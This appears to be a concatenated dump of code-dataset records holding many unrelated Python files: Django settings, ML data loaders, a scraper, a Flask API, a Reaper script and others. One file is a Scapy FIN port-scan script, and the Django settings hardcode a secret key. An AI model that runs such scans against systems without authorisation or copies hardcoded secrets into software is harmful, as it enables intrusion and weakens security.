1.1.2\n TIME_ZONE = setup['time_zone']\n\n DEBUG = setup['django_debug']\n TEMPLATE_DEBUG = DEBUG\n if DEBUG:\n print(\"Warning: Setting web_debug to True causes extraordinary memory \"\n \"leaks. Only use this setting if you know what you're doing.\")\n\n if setup['web_prefix']:\n MEDIA_URL = setup['web_prefix'].rstrip('/') + MEDIA_URL\n else:\n MEDIA_URL = '/site_media/'\n\n# initialize settings from /etc/bcfg2-web.conf or /etc/bcfg2.conf, or\n# set up basic defaults. this lets manage.py work in all cases\nread_config(quiet=True)\n\nADMINS = (('Root', 'root'))\nMANAGERS = ADMINS\n\n# Language code for this installation. All choices can be found here:\n# http://www.w3.org/TR/REC-html40/struct/dirlang.html#langcodes\n# http://blogs.law.harvard.edu/tech/stories/storyReader$15\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# TODO - sanitize this\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.admin',\n 'Bcfg2.Server',\n)\nif HAS_SOUTH:\n INSTALLED_APPS = INSTALLED_APPS + (\n 'south',\n 'Bcfg2.Reporting',\n )\nif 'BCFG2_LEGACY_MODELS' in os.environ:\n INSTALLED_APPS += ('Bcfg2.Server.Reports.reports',)\n\n# Imported from Bcfg2.Server.Reports\nMEDIA_ROOT = ''\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\nSTATIC_URL = '/media/'\n\n#TODO - make this unique\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'eb5+y%oy-qx*2+62vv=gtnnxg1yig_odu0se5$h0hh#pc*lmo7'\n\nif HAS_DJANGO and django.VERSION[0] == 1 and django.VERSION[1] < 3:\n CACHE_BACKEND = 'locmem:///'\nelse:\n CACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n }\n }\n\nif HAS_DJANGO and django.VERSION[0] == 1 and django.VERSION[1] < 2:\n TEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.load_template_source',\n 'django.template.loaders.app_directories.load_template_source',\n )\nelse:\n TEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n )\n\n#TODO - review these. auth and sessions aren't really used\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.middleware.doc.XViewMiddleware',\n)\n\n# TODO - move this to a higher root and dynamically import\nROOT_URLCONF = 'Bcfg2.Reporting.urls'\n\n# TODO - this isn't usable\n# Authentication Settings\nAUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend')\n\nLOGIN_URL = '/login'\n\nSESSION_EXPIRE_AT_BROWSER_CLOSE = True\n\nTEMPLATE_DIRS = (\n # App loaders should take care of this.. not sure why this is here\n '/usr/share/python-support/python-django/django/contrib/admin/templates/',\n)\n\n# TODO - sanitize this\nif HAS_DJANGO and django.VERSION[0] == 1 and django.VERSION[1] < 2:\n TEMPLATE_CONTEXT_PROCESSORS = (\n 'django.core.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.request'\n )\nelse:\n TEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth',\n 'django.core.context_processors.debug',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.media',\n 'django.core.context_processors.request'\n )\n","sub_path":"src/lib/Bcfg2/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"509372217","text":"# Importing Libraries\n\n\nfrom . import pyttsx3\n\ndef Init():\n engine = pyttsx3.init() # object creation\n \"\"\" RATE\"\"\"\n rate = engine.getProperty('rate') # getting details of current speaking rate\n #printing current voice rate\n engine.setProperty('rate', 125) # setting up new voice rate\n \"\"\"VOICE\"\"\"\n voices = engine.getProperty('voices') #getting details of current voice\n #engine.setProperty('voice', voices[0].id) #changing index, changes voices. o for male\n engine.setProperty('voice', voices[1].id) #changing index, changes voices. 1 for female\n \"\"\"VOLUME\"\"\"\n volume = engine.getProperty('volume') #getting to know current volume level (min=0 and max=1\n #printing current volume level\n engine.setProperty('volume',1.0) # setting up volume level between 0 and 1\n return engine\n\ndef CallEngine(text):\n engine = Init()\n \"\"\"Speak words\"\"\"\n print('Before engine',text)\n engine.say(text)\n \n engine.runAndWait()\n print('after engine')\n engine.stop()\n\ndef SpeakWord(text='Nothing picked'):\n \"\"\"Speak words\"\"\"\n print(\"inside speakword\", text)\n \n CallEngine(text) \n #return text\n# 'Checkword with db\ndef CheckWord(text,typ_word):\n print('Check word text:', text,typ_word)\n # check spelling\n if text == typ_word:\n new_text =text +\"You are correct\"\n CallEngine(new_text)\n return True \n else:\n new_text =text+\"You are wrong\"\n CallEngine(new_text)\n return False\n","sub_path":"Datascience/Bee_Word_Project_old/spellbee/beewordpick.py","file_name":"beewordpick.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"516272868","text":"import pandas as pd\nimport os\nimport json\nfrom sklearn.preprocessing import StandardScaler\nimport numpy as np\n\nfrom cbcs_joint.Paths import Paths\nfrom cbcs_joint.utils import retain_pandas, get_mismatches\nfrom cbcs_joint.patches.CBCSPatchGrid import CBCSPatchGrid\nfrom cbcs_joint.patches.utils import get_subj_background, get_subj_background_intensity\n\n\ndef load_he_er_feats(load_patch_feats=True):\n \n ##############\n # image data #\n ##############\n\n # patches dataset\n patch_data_dir = os.path.join(Paths().patches_dir)\n patch_dataset_he = CBCSPatchGrid.load(os.path.join(patch_data_dir, 'patch_dataset_he'))\n patch_dataset_er = CBCSPatchGrid.load(os.path.join(patch_data_dir, 'patch_dataset_er'))\n\n # image patch features\n subj_img_feats_he = pd.read_csv(os.path.join(patch_data_dir, 'core_centroids_he.csv'),\n index_col=0)\n subj_img_feats_er = pd.read_csv(os.path.join(patch_data_dir, 'core_centroids_er.csv'),\n index_col=0) \n subj_img_feats_he.index = subj_img_feats_he.index.astype(str)\n subj_img_feats_er.index = subj_img_feats_er.index.astype(str)\n subj_img_feats_he.index = [idx.split('_he')[0] for idx in subj_img_feats_he.index]\n subj_img_feats_er.index = [idx.split('_er')[0] for idx in subj_img_feats_er.index] \n\n if load_patch_feats:\n patch_feats_he = \\\n pd.read_csv(os.path.join(patch_data_dir, 'patch_features_he.csv'),\n index_col=['image', 'patch_idx'])\n patch_feats_er = \\\n pd.read_csv(os.path.join(patch_data_dir, 'patch_features_er.csv'),\n index_col=['image', 'patch_idx']) \n else:\n patch_feats_he, patch_feats_er = None, None\n\n #############\n # alignment #\n #############\n intersection = list(set(subj_img_feats_he.index).intersection(set(subj_img_feats_er.index)))\n in_he, in_er = get_mismatches(subj_img_feats_he.index, subj_img_feats_er.index)\n\n print('intersection: {}'.format(len(intersection)))\n print('in HE, not in ER: {}'.format(len(in_he)))\n print('in ER, not in HE: {}'.format(len(in_er)))\n\n subj_img_feats_he = subj_img_feats_he.loc[intersection]\n subj_img_feats_er = subj_img_feats_er.loc[intersection]\n\n print(subj_img_feats_he.shape)\n print(subj_img_feats_er.shape)\n\n # process data\n image_feats_processor = StandardScaler()\n subj_img_feats_he = retain_pandas(subj_img_feats_he, image_feats_processor.fit_transform)\n subj_img_feats_er = retain_pandas(subj_img_feats_er, image_feats_processor.fit_transform)\n\n# ##################################\n# # add hand crafted image features#\n# ##################################\n# # add proprotion background\n# clinical_data.loc[:, 'background'] = \\\n# get_subj_background(patch_dataset, avail_cbcsids=intersection)\n\n# clinical_data.loc[:, 'background_intensity'] = \\\n# get_subj_background_intensity(patch_dataset,\n# avail_cbcsids=intersection)\n\n # make sure subjects are in same order\n idx = subj_img_feats_he.index.sort_values()\n subj_img_feats_he = subj_img_feats_he.loc[idx]\n subj_img_feats_er = subj_img_feats_er.loc[idx]\n\n return {'patch_dataset_he': patch_dataset_he,\n 'patch_dataset_er': patch_dataset_er,\n 'patch_feats_he': patch_feats_he,\n 'patch_feats_er': patch_feats_er,\n 'subj_img_feats_he': subj_img_feats_he,\n 'subj_img_feats_er': subj_img_feats_er,\n 'image_feats_processor': image_feats_processor}\n\n\ndef sphere(X):\n s = 1.0 / np.array(X).std(axis=1)\n return np.array(X) * s[:, None]\n","sub_path":"cbcs_joint/load_he_er_feats.py","file_name":"load_he_er_feats.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"586928283","text":"import json\nimport os, codecs, sys\nfrom eyed3 import id3\n\nfor filename in os.listdir(\".\\\\music\"):\n tag = id3.Tag()\n tag.parse(\".\\\\music\" + \"\\\\\" + filename)\n music = {}\n music[\"music\"] = {\n \"album\": tag.album,\n \"artist\": tag.artist,\n \"title\": tag.title,\n }\n\ns = json.dumps(music)\nwith open(\".\\\\hue.txt\",\"w\") as f:\n f.write(s)\n","sub_path":"project/hue.py","file_name":"hue.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"65904726","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 4 14:37:34 2017\n\n@author: freeman\n\n2018/01/13\n-return photo_labels\n\"\"\"\n\nimport math\nimport os\nimport sys\nimport tensorflow as tf\nimport inception_preprocessing\n\nslim = tf.contrib.slim\n\n#State the labels filename\nLABELS_FILENAME = 'labels.txt'\n\n###============================================================================\ndef int64_feature(values):\n if not isinstance(values, (tuple, list)):\n values = [values]\n return tf.train.Feature(int64_list=tf.train.Int64List(value=values))\n\ndef bytes_feature(values):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[values]))\n\ndef image_to_tfexample(image_data, image_format, height, width, class_id):\n return tf.train.Example(\n features=tf.train.Features(\n feature={'image/encoded': bytes_feature(image_data),\n 'image/format': bytes_feature(image_format),\n 'image/class/label': int64_feature(class_id),\n 'image/height': int64_feature(height),\n 'image/width': int64_feature(width),}))\n \ndef get_dataset_filename(dataset_dir, split_name, shard_id, \n tfrecord_filename, _NUM_SHARDS):\n output_filename = '%s_%s_%05d-of-%05d.tfrecord' % (\n tfrecord_filename, split_name, shard_id, _NUM_SHARDS)\n return os.path.join(dataset_dir, output_filename)\n\nclass ImageReader(object):\n def __init__(self):\n # Initializes function that decodes RGB JPEG data.\n self._decode_jpeg_data = tf.placeholder(dtype=tf.string)\n self._decode_jpeg = tf.image.decode_jpeg(\n self._decode_jpeg_data, channels=3)\n\n def read_image_dims(self, sess, image_data):\n image = self.decode_jpeg(sess, image_data)\n return image.shape[0], image.shape[1]\n\n def decode_jpeg(self, sess, image_data):\n image = sess.run(self._decode_jpeg,\n feed_dict={self._decode_jpeg_data: image_data})\n assert len(image.shape) == 3\n assert image.shape[2] == 3\n return image\n \n###============================================================================\ndef dataset_exists(dataset_dir, _NUM_SHARDS, output_filename):\n for split_name in ['train', 'valid']:\n for shard_id in range(_NUM_SHARDS):\n tfrecord_filename = \\\n get_dataset_filename(dataset_dir, split_name, shard_id, \n output_filename, _NUM_SHARDS)\n if not tf.gfile.Exists(tfrecord_filename):\n return False\n return True\n\n\ndef _get_filenames_and_classes(dataset_root): \n directories = []\n class_names = []\n \n for foldername in os.listdir(dataset_root):\n path = os.path.join(dataset_root, foldername)\n if os.path.isdir(path):\n directories.append(path)\n class_names.append(foldername)\n\n photo_filenames = []\n for d in range(len(directories)): \n filenames = os.listdir(directories[d]) \n for f in filenames:\n path = os.path.join(directories[d], f)\n photo_filenames.append(path)\n \n # sorted for deterministic\n return sorted(photo_filenames), sorted(class_names)\n\n\ndef _convert_dataset(split_name, filenames, class_names_to_ids,\n dataset_dir, tfrecord_filename, _NUM_SHARDS):\n\n assert split_name in ['train', 'valid']\n\n num_per_shard = int(math.ceil(len(filenames) / float(_NUM_SHARDS)))\n \n g = tf.Graph()\n with g.as_default():\n image_reader = ImageReader()\n\n with tf.Session(graph=g) as sess:\n for shard_id in range(_NUM_SHARDS):\n output_filename = get_dataset_filename(\n dataset_dir, split_name, shard_id,\n tfrecord_filename = tfrecord_filename,\n _NUM_SHARDS = _NUM_SHARDS)\n\n with tf.python_io.TFRecordWriter(output_filename) as tfrecord_writer:\n start_ndx = shard_id * num_per_shard\n end_ndx = min((shard_id+1) * num_per_shard, len(filenames))\n \n for i in range(start_ndx, end_ndx):\n sys.stdout.write('\\r>> Converting image %d/%d shard %d' %\\\n (i+1, len(filenames), shard_id))\n sys.stdout.flush()\n \n # Read the filename:\n image_data = tf.gfile.FastGFile(filenames[i], 'rb').read()\n height, width = image_reader.read_image_dims(sess, \n image_data)\n # get the class name and class id\n class_name = os.path.basename(os.path.dirname(filenames[i]))\n class_id = class_names_to_ids[class_name]\n # prefix b - produce bytes type rather than str type\n example = image_to_tfexample(\n image_data, b'jpg', height, width, class_id)\n tfrecord_writer.write(example.SerializeToString())\n \n sys.stdout.write('\\n')\n sys.stdout.flush()\n \n \ndef _write_label_file(labels_to_class_names, dataset_dir, \n filename = LABELS_FILENAME):\n labels_filename = os.path.join(dataset_dir, filename)\n with tf.gfile.Open(labels_filename, 'w') as f:\n for label in labels_to_class_names:\n class_name = labels_to_class_names[label]\n f.write('%d:%s\\n' % (label, class_name))\n\n\n# dataset api (18/02/27 - there might be some bugs in this function) \ndef load_dataset(slim_dataset, batch_size, height, width, \n is_training=None, num_epochs=None, seed=None):\n '''\n Loads a batch for training.\n '''\n #Create a dataset\n dataset = tf.data.TFRecordDataset(slim_dataset.data_sources)\n \n #Create the operators to parse the dataset\n def parser(serialized_example):\n \"\"\"Parses a single tf.Example into image and label tensors.\"\"\"\n keys_to_features = {\n 'image/encoded': tf.FixedLenFeature((), tf.string),\n 'image/class/label': tf.FixedLenFeature([], tf.int64), \n }\n parsed_features = tf.parse_single_example(serialized_example, \n keys_to_features)\n label = tf.cast(parsed_features['image/class/label'], tf.int32)\n \n # decode image - refer to tfexample_decoder.py\n image = tf.image.decode_image(parsed_features['image/encoded'], 3)\n image.set_shape([None, None, 3])\n image = tf.reshape(image, [height, width, 3])\n image = tf.cast(image, tf.float32)\n \n # preprocess image\n pre_image = inception_preprocessing.preprocess_image(\n image, height, width, is_training)\n # raw image\n raw_image = tf.expand_dims(image, 0) # [1, height, width, channels]\n raw_image = tf.image.resize_nearest_neighbor(raw_image, [height, width])\n raw_image = tf.squeeze(raw_image) # [height, width, channels]\n \n return pre_image, raw_image, label\n \n #Parse records into tensors\n num_parallel_calls = 32 if is_training else 1\n dataset = dataset.map(parser, num_parallel_calls = num_parallel_calls)\n \n #Set how to repeat the dataset\n dataset = dataset.repeat(num_epochs)\n\n #Shuffle the dataset\n if is_training:\n dataset = dataset.shuffle(buffer_size=500, seed = seed)\n \n #Batch it up\n dataset = dataset.batch(batch_size)\n iterator = dataset.make_one_shot_iterator()\n pre_image_batch, raw_image_batch, label_batch = iterator.get_next() \n \n return pre_image_batch, raw_image_batch, label_batch","sub_path":"plan_slice_1.0/dataset_utils.py","file_name":"dataset_utils.py","file_ext":"py","file_size_in_byte":7812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"92884059","text":"from pathlib import Path\n\nimport pytest\n\nimport superannotate as sa\n\nPROJECT_NAME_VECTOR = \"test attach image urls\"\nPATH_TO_URLS = Path(\"./tests/attach_urls.csv\")\n\n\ndef test_attach_image_urls():\n projects = sa.search_projects(PROJECT_NAME_VECTOR, return_metadata=True)\n for project in projects:\n sa.delete_project(project)\n\n project = sa.create_project(PROJECT_NAME_VECTOR, \"test\", \"Vector\")\n\n uploaded, could_not_upload, existing_images = sa.attach_image_urls_to_project(\n project, PATH_TO_URLS\n )\n\n assert len(uploaded) == 7\n assert len(could_not_upload) == 1\n assert len(existing_images) == 0","sub_path":"tests/test_attach_image_urls.py","file_name":"test_attach_image_urls.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"452077424","text":"from params import *\r\nfrom intersectionarc import *\r\nfrom calculrayoncourbure import *\r\n\r\ndef cibleatteignable(segments,p,v):\r\n [positioninit1,positioninit2,orientationinit1,orientationinit2,vinit1,vinit2,deltat,amaxlat,epsilonmax,amax,amin,tsb,l,larg,vmax,N,rv,m,alpha,lanti]=params()\r\n Rminamaxlat=v**2/amaxlat\r\n Rminepsilonmax=tsb*v**2/(epsilonmax*pi/180)+l/(epsilonmax*pi/180)\r\n Rmin=max(Rminamaxlat,Rminepsilonmax)\r\n Rmax=abs(calculrayoncourbure(p))/4\r\n xp=p[0]\r\n yp=p[1]\r\n Ns=len(segments)\r\n\r\n \r\n K=0\r\n if xp!=0:\r\n K=yp/xp\r\n \r\n sgyp=1\r\n if yp<0:\r\n sgyp=-1\r\n \r\n if Rmin>Rmax:\r\n return(0,Rmax,sgyp,Rmin)\r\n \r\n R=[]\r\n Nr=100\r\n i=0\r\n while i 1:\n # if name == 'category' or name == 'submitter':\n metadata[name] = ''\n for element in elements:\n if metadata[name]:\n metadata[name] += '|'\n metadata[name] += element.get('content')\n else:\n metadata[name] = elements[0].get('content')\n\n if not metadata['title_short']:\n elements = tree.xpath('/metadata_gegevens/metadata[@name=\"DC.type\"]')\n if elements:\n metadata['title_short'] = elements[0].get('content')\n\n metadata['is_kamerstuk'] = False\n elements = tree.xpath('/metadata_gegevens/metadata[@name=\"DC.type\"]')\n for element in elements:\n if element.get('scheme') == 'OVERHEIDop.Parlementair':\n metadata['is_kamerstuk'] = element.get('content') == 'Kamerstuk'\n\n \"\"\" agenda code \"\"\"\n metadata['is_agenda'] = False\n elements = tree.xpath('/metadata_gegevens/metadata[@name=\"DC.type\"]')\n for element in elements:\n if element.get('scheme') == 'OVERHEIDop.Parlementair':\n metadata['is_agenda'] = element.get('content') == 'Agenda'\n \n elements = tree.xpath('/metadata_gegevens/metadata[@name=\"OVERHEIDop.behandeldDossier\"]')\n metadata['behandelde_dossiers'] = [] \n for element in elements:\n metadata['behandelde_dossiers'].append(element.get('content'))\n\n return metadata\n\n\ndef search_politieknl_dossier(dossier_id):\n dossier_url = 'https://zoek.officielebekendmakingen.nl/dossier/' + str(dossier_id)\n page = requests.get(dossier_url, timeout=60)\n tree = lxml.html.fromstring(page.content)\n element = tree.xpath('//p[@class=\"info marge-onder\"]/strong')\n n_publications = int(element[0].text)\n logger.info(str(n_publications) + ' results found')\n element = tree.xpath('//dl[@class=\"zoek-resulaten-info\"]//dd')\n dossier_number = int(element[1].text)\n assert element[1].getprevious().text == 'Dossiernummer:'\n results = []\n pagnr = 1\n while len(results) < n_publications:\n logger.info('reading page: ' + str(pagnr))\n params = {\n '_page': pagnr,\n 'sorttype': 1,\n 'sortorder': 4,\n }\n pagnr += 1\n # print('request url: ' + dossier_url)\n page = requests.get(dossier_url, params, timeout=60)\n tree = lxml.html.fromstring(page.content)\n\n elements = tree.xpath('//div[@class=\"lijst\"]/ul/li/a')\n for element in elements:\n title = element.text.strip().replace('\\n', '')\n title = re.sub(r'\\(.+?\\)', '', title).strip()\n # print(title)\n result_info = element.find('em').text\n published_date = result_info.split('|')[0].strip()\n published_date = datetime.datetime.strptime(published_date, '%d-%m-%Y').date()\n # print(published_date)\n page_url = 'https://zoek.officielebekendmakingen.nl' + element.get('href')\n # print(page_url)\n type = result_info.split('|')[1].strip()\n publisher = result_info.split('|')[2].strip()\n\n result = {\n 'title': title,\n 'type': type,\n 'publisher': publisher,\n 'date_published': published_date,\n 'page_url': page_url,\n }\n results.append(result)\n return results\n","sub_path":"scraper/documents.py","file_name":"documents.py","file_ext":"py","file_size_in_byte":8126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"239532241","text":"import re\nimport os\n\nif __name__ == '__main__':\n for file in os.listdir('text/'):\n print(file)\n with open('text/'+file, 'r') as fr, open('ok/'+file, 'w') as fw:\n for line in fr.readlines():\n line = re.sub('\\(.+\\)', '', line)\n line = re.sub(' ', '', line)\n # line = re.sub('\\n', '\\n\\n', line)\n fw.write(line)\n","sub_path":"text_clear.py","file_name":"text_clear.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"70286631","text":"#!/usr/bin/env python3\n\nfrom scapy.all import *\n\ndef main():\n #\n print(\"<-- FIN Scan -->\")\n #\n print()\n #\n source_ip_addr = input(\"[+] Source IP Address-> \")\n #\n destination_ip_address = input(\"[+] Destination IP Address-> \")\n #\n destination_port = int(input(\"[+] Destination port-> \"))\n #\n ip_header = IP(src=source_ip_addr,dst=destination_ip_address)\n #\n transport_header = TCP(sport=1024, dport=destination_port, flags=\"F\", seq=12345)\n #\n pkt = ip_header/transport_header\n #\n p = sr1(pkt,verbose=False)\n #\n p.show()\n\nif(__name__ == '__main__'):\n #\n main()\n","sub_path":"Python-Penetration-Testing/FINScan.py","file_name":"FINScan.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"577218645","text":"from flask import request, abort, g\nfrom flask import current_app as app\nimport uuid # public id generation\nfrom ..models import db, auth, Post, post_schema, posts_schema\n\n\n@app.route('/posts', methods=['POST'])\n@auth.login_required\ndef new_post():\n \"\"\"\n Creates new post, from title and body text\n Returns json where noticed details about this post (post_schema)\n :param title: str\n :param body str\n :return: json\n \"\"\"\n title = request.json['title']\n body = request.json['body']\n if title and body:\n post = Post(title=title, body=body, publisher_id=g.user.username, public_id=int(uuid.uuid4().time))\n db.session.add(post)\n db.session.commit()\n return post_schema.jsonify(post)\n return abort(404) # Not valid\n\n\n@app.route('/posts', methods=['GET'])\ndef get_all_posts():\n \"\"\"\n Gets all posts of all users\n Returns json where noticed details about all posts (posts_schema)\n :return: json\n \"\"\"\n return posts_schema.jsonify(Post.query.all())\n\n\n@app.route('/posts/', methods=['GET'])\ndef get_one_post(public_id):\n \"\"\"\n Gets specific post from all users\n Returns json where noticed details about this (by public_id) post (post_schema)\n :param public_id: int\n :return: json\n \"\"\"\n post = Post.query.filter_by(public_id=public_id).first()\n if post:\n return post_schema.jsonify(post)\n return abort(404)\n","sub_path":"application/resources/posts.py","file_name":"posts.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"163319487","text":"import pypyodbc\r\nclass DBWork:\r\n\t#Does all the database details like connections, \r\n\t#printing out the rows, and closing\r\n\tdef __init__(self, dbname):\r\n\t\tfrom os import getcwd\r\n\t\ttry:\r\n\t\t\tpypyodbc.lowercase = False\r\n\t\t\t#we are running the program in the same folder as the database\r\n\t\t\tpath = getcwd()+\"\\\\\"+dbname\r\n\t\t\tprint(path)\r\n\t\t\tself.connection = pypyodbc.connect(\r\n\t\t\t\tr\"Driver={Microsoft Access Driver (*.mdb, *.accdb)};\" +\r\n\t\t\t\tr\"Dbq=\"+path+\";\")\r\n\t\t\tself.cur = self.connection.cursor()\r\n\t\texcept Exception as ex:\r\n\t\t\tprint(\"Database Error: %s\" %ex)\r\n\t\t\r\n\tdef printResults(self, sql):\r\n\t\tself.cur.execute(sql)\r\n\t\tfor row in self.cur:\r\n\t\t\tline = \"\"\r\n\t\t\tfor item in row:\r\n\t\t\t\tline+= str(item) + \" \"\r\n\t\t\tprint(line)\r\n\tdef close(self):\r\n\t\tif hasattr(self, 'connection'):\t#database connection exists\r\n\t\t\tif hasattr(self, 'cur'):\r\n\t\t\t\tself.cur.close()\r\n\t\t\tif self.connection is not None:\r\n\t\t\t\tself.connection.close()\r\n\r\ndef SelectAll():\r\n\ttry:\r\n\t\tsql = \"select * from books\"\r\n\t\tdbConn = DBWork(\"datatables.mdb\")\r\n\t\tdbConn.printResults(sql)\r\n\texcept Exception as ex:\r\n\t\tprint(\"Database Error: %s\" %ex)\r\n\t\tprint(\"****************\")\r\n\t\tprint(sql)\r\n\t\tprint(\"***************\")\r\n\tfinally:\r\n\t\tif dbConn is not None:\r\n\t\t\tdbConn.close()\r\n\r\n#SelectAll()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Exercise 5/Exercise5_1.py","file_name":"Exercise5_1.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"404199087","text":"import os\nimport sys\nimport math\nimport random\nimport collections\n\n\n\n#user = \"Richard\"\nstartScript = True\n#user = \"jmukund\"\n\n\n#importDirectory = \"/Users/\" + user + \"/Repo/wbRLRBM/src/\"\n\nKontakt5 = \"Kontakt 5 (Native Instruments GmbH) (8 out)\"\nKontakt5_16 = \"Kontakt 5 (Native Instruments GmbH) (16 out)\"\nMassive = \"Massive (Native Instruments GmbH )\"\nBattery = \"Battery 4 (Native Instruments GmbH)\"\nOmnisphere = \"Omnisphere (Spectrasonics)\"\nGuitarRig = \"Guitar Rig 5 (Native Instruments GmbH)\"\nPlay = \"Play (East West) (2->18ch)\"\n\n\n# set a default volume for all the instruments.\n# volume for the different instruments will be set at the preset files\n#volume = random.uniform ( 0.35, 0.5 )\nvolume = 0.35\nMovement = collections.OrderedDict()\n\nproj, projectNameExt, buf_sz = RPR_GetProjectName(1, 1, 100)\nprojectName = projectNameExt.replace ( \".RPP\", \"\", 1)\n#udid = projectName.replace ( \"WatsonBeatProject\", \"\", 1)\n\nprojectPath, bufSz = RPR_GetProjectPath(\"\", 512)\nconfigFile = projectPath + \"/config\"\n\n#RPR_ShowConsoleMsg ( projectName + \"\\n\" )\n#RPR_ShowConsoleMsg ( projectPath + \"\\n\" )\n#RPR_ShowConsoleMsg ( configFile + \"\\n\")\n\nfile = open (configFile, 'r')\nimportDirectory = file.readline ()\nfile.close ()\nimportDirectory = importDirectory.strip() + \"/\"\n#RPR_ShowConsoleMsg ( importDirectory)\n\n\n\ndef SetProjectTempoAndTimeSignature (tempo, num, den, measure) :\n\n RPR_SetTempoTimeSigMarker( 0, -1, -1, measure-1, 0, tempo, num, den, False )\n\n\n\n\ndef parseCompositionSettings ( finName ) :\n\n fin = open ( finName, mode='r' )\n\n for line in fin :\n line = line.rstrip()\n\n #print ( \"line: \", line )\n\n if ( line.startswith ( \"Movement\" ) ) :\n data = line.split ()\n for item in range(0, len(data), 2) :\n if ( data[item] == 'Movement' ) :\n mvNum = int(data[item+1] )\n Movement[mvNum] = collections.OrderedDict()\n Movement[mvNum]['Sections'] = collections.OrderedDict()\n\n elif ( data[item] == 'NumSections' ) :\n Movement[mvNum]['numSections'] = int(data[item+1] )\n\n elif ( data[item] == 'Mood' ) :\n Movement[mvNum]['mood'] = data[item+1]\n\n elif ( data[item] == 'type' ) :\n Movement[mvNum]['type'] = data[item+1]\n\n\n\n elif ( line.startswith ( \"SectionNum\" ) ) :\n\n data = line.split ()\n for item in range(0, len(data), 2) :\n #print ( item, data[item], data[item+1] )\n if ( data[item] == 'SectionNum' ) :\n secNum = int(data[item+1] )\n Movement[mvNum]['Sections'][secNum] = collections.OrderedDict()\n\n elif ( data[item] == 'NumPhrases' ) :\n numPhrases = int(data[item+1])\n Movement[mvNum]['Sections'][secNum]['numPhrases'] = numPhrases\n Movement[mvNum]['Sections'][secNum]['Phrases'] = collections.OrderedDict()\n\n elif ( data[item] == 'NumChords' ) :\n numChords = int(data[item+1])\n Movement[mvNum]['Sections'][secNum]['numChords'] = numChords\n\n elif ( line.startswith ( \"SectionLayers\" ) ) :\n\n data = line.split ()\n lyr = []\n layers = data[1].replace ( \"[\", \"\" )\n layers = layers.replace ( \"]\", \"\" )\n layers = layers.replace ( \",\", \" \" )\n layers = layers.replace ( \"'\", \"\" )\n layers = layers.split ( )\n for l in layers :\n lyr.append ( l )\n Movement[mvNum]['Sections'][secNum]['layers'] = lyr\n #print ( \"SecId\", secNum, \"layers:\", lyr, Movement[mvNum]['Sections'][secNum]['layers'] )\n #print()\n\n elif ( line.startswith ( \"Phrase\" ) ) :\n\n data = line.split ()\n for item in range(0, len(data), 2) :\n #print ( item, data[item], data[item+1] )\n if ( data[item] == 'PhraseNum' ) :\n phNum = int(data[item+1] )\n Movement[mvNum]['Sections'][secNum]['Phrases'][phNum] = collections.OrderedDict()\n\n elif ( data[item] == 'StartClk' ) :\n startClk = int(data[item+1] )\n Movement[mvNum]['Sections'][secNum]['Phrases'][phNum]['startClk'] = startClk\n\n elif ( data[item] == 'EndClk' ) :\n endClk = int(data[item+1] )\n Movement[mvNum]['Sections'][secNum]['Phrases'][phNum]['endClk'] = endClk\n\n elif ( data[item] == 'Layers' ) :\n layers = (data[item+1] )\n layers = layers.replace ( \"]\" , \"\" )\n layers = layers.replace ( \"[\" , \"\" )\n layers = layers.replace ( \"'\", \"\" )\n layers = layers.replace ( \",\" , \" \" )\n\n\n layers = layers.split ( )\n lyr = []\n for l in layers :\n lyr.append ( l )\n Movement[mvNum]['Sections'][secNum]['Phrases'][phNum]['layers'] = lyr\n\n\n\n\ndef getLayersForSection ( mvNum, secNum ) :\n #print ( \"Layers for Movement: \", mvNum, \"Section: \", secNum , Movement[mvNum]['Sections'][secNum]['layers'] )\n #print()\n return Movement[mvNum]['Sections'][secNum]['layers']\n\n\ndef getLayersForPhrase ( mvNum, secNum, phNum ) :\n #print ( \"Layers for Movement: \", mvNum, \"Section: \", secNum , 